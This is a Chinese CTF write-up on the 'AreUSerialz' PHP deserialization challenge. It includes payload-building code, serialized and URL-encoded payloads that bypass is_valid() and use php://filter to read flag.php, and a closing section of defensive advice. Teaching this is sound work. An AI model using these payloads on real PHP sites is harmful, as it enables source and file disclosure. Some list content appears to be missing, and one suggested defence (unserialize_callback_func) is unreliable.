第一次看到CTF赛题里的PHP反序列化漏洞时,我和大多数新手一样满头问号。这玩意儿到底是怎么把一串序列化数据变成攻击武器的?后来在实战中踩过几次坑才明白,反序列化的本质就是把存储的数据重新变成程序可执行的对象,而漏洞就藏在对象重建的过程中。
以这次网鼎杯的AreUSerialz赛题为例,我们先看最关键的漏洞触发点:
php复制if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str); // 危险操作!
}
}
这段代码的问题在于:它直接反序列化了用户可控的输入数据。想象你允许陌生人把任意家具搬进你家,他完全可以偷偷塞个炸弹进来。在PHP中,反序列化时会自动调用__wakeup()和__destruct()等魔术方法,这就给了攻击者"安装引爆装置"的机会。
我调试这个漏洞时发现个有趣现象:当FileHandler对象被销毁时,__destruct()方法会强制把op改为1。这就像拆弹时剪错线会触发爆炸一样,开发者本意是增加安全性,却反而制造了新的攻击面。要绕过这个限制,关键在于控制对象销毁前的执行流程。
题目中的is_valid()函数像道安检门,只允许ASCII码32-125的字符通过:
php复制function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
但防护措施总有漏洞可钻。经过多次测试,我发现PHP处理序列化数据时有这些特性:
s换成大写S时,支持十六进制编码%00*%00可转为\00*\00这就形成了第一个攻击链:
op=2触发读取操作filename设为flag.phps替换为S%00转为\00的十六进制表示这是我调试成功的最终Payload生成代码:
php复制class FileHandler {
protected $op = 2;
protected $filename = 'flag.php';
protected $content;
}
$payload = serialize(new FileHandler);
$payload = str_replace('s', 'S', $payload);
$payload = str_replace('%00', '\00', urlencode($payload));
得到的攻击字符串形如:
code复制O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00*\00op%22%3Bi%3A2%3BS%3A11%3A%22\00*\00filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%22\00*\00content%22%3BN%3B%7D
在Burp Suite里发送这个Payload时,记得关闭URL自动编码。有次我忘了这个细节,调试了两小时才发现问题。
当第一种方法被防御时,我们可以换个思路:直接修改属性可见性。PHP序列化数据中有个鲜为人知的特性:通过修改属性长度声明,可以强制改变访问权限。
原始保护属性的序列化格式:
code复制s:11:"\00*\00filename"
如果去掉\00*\00变成公共属性:
code复制s:8:"filename"
但要注意三个关键点:
我更喜欢用php://filter伪协议来读取源码,因为它能绕过某些内容检测。在本题中构造:
php复制class FileHandler {
protected $op = 2;
protected $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
protected $content;
}
序列化后手动修改属性部分:
code复制O:11:"FileHandler":3:{
s:2:"op";i:2;
s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";
s:7:"content";N;
}
这里s:57:中的57是后面字符串的精确长度,必须计算准确。我有次少算了一个字符,结果payload死活不执行。
在甲方做安全审计时,我总结了几个实用防御方案:
php复制if (!preg_match('/^[a-zA-Z0-9]+$/', $serialized)) {
die('Invalid input');
}
php复制$data = json_decode($input, true);
php复制ini_set('unserialize_callback_func', 'spl_autoload_call');
有次我在代码审计中发现开发者用了这个技巧:
php复制$data = unserialize($input, ['allowed_classes' => ['SafeClass']]);
这才是正确的防御姿势。反序列化漏洞就像潘多拉魔盒,永远不要相信用户的输入数据。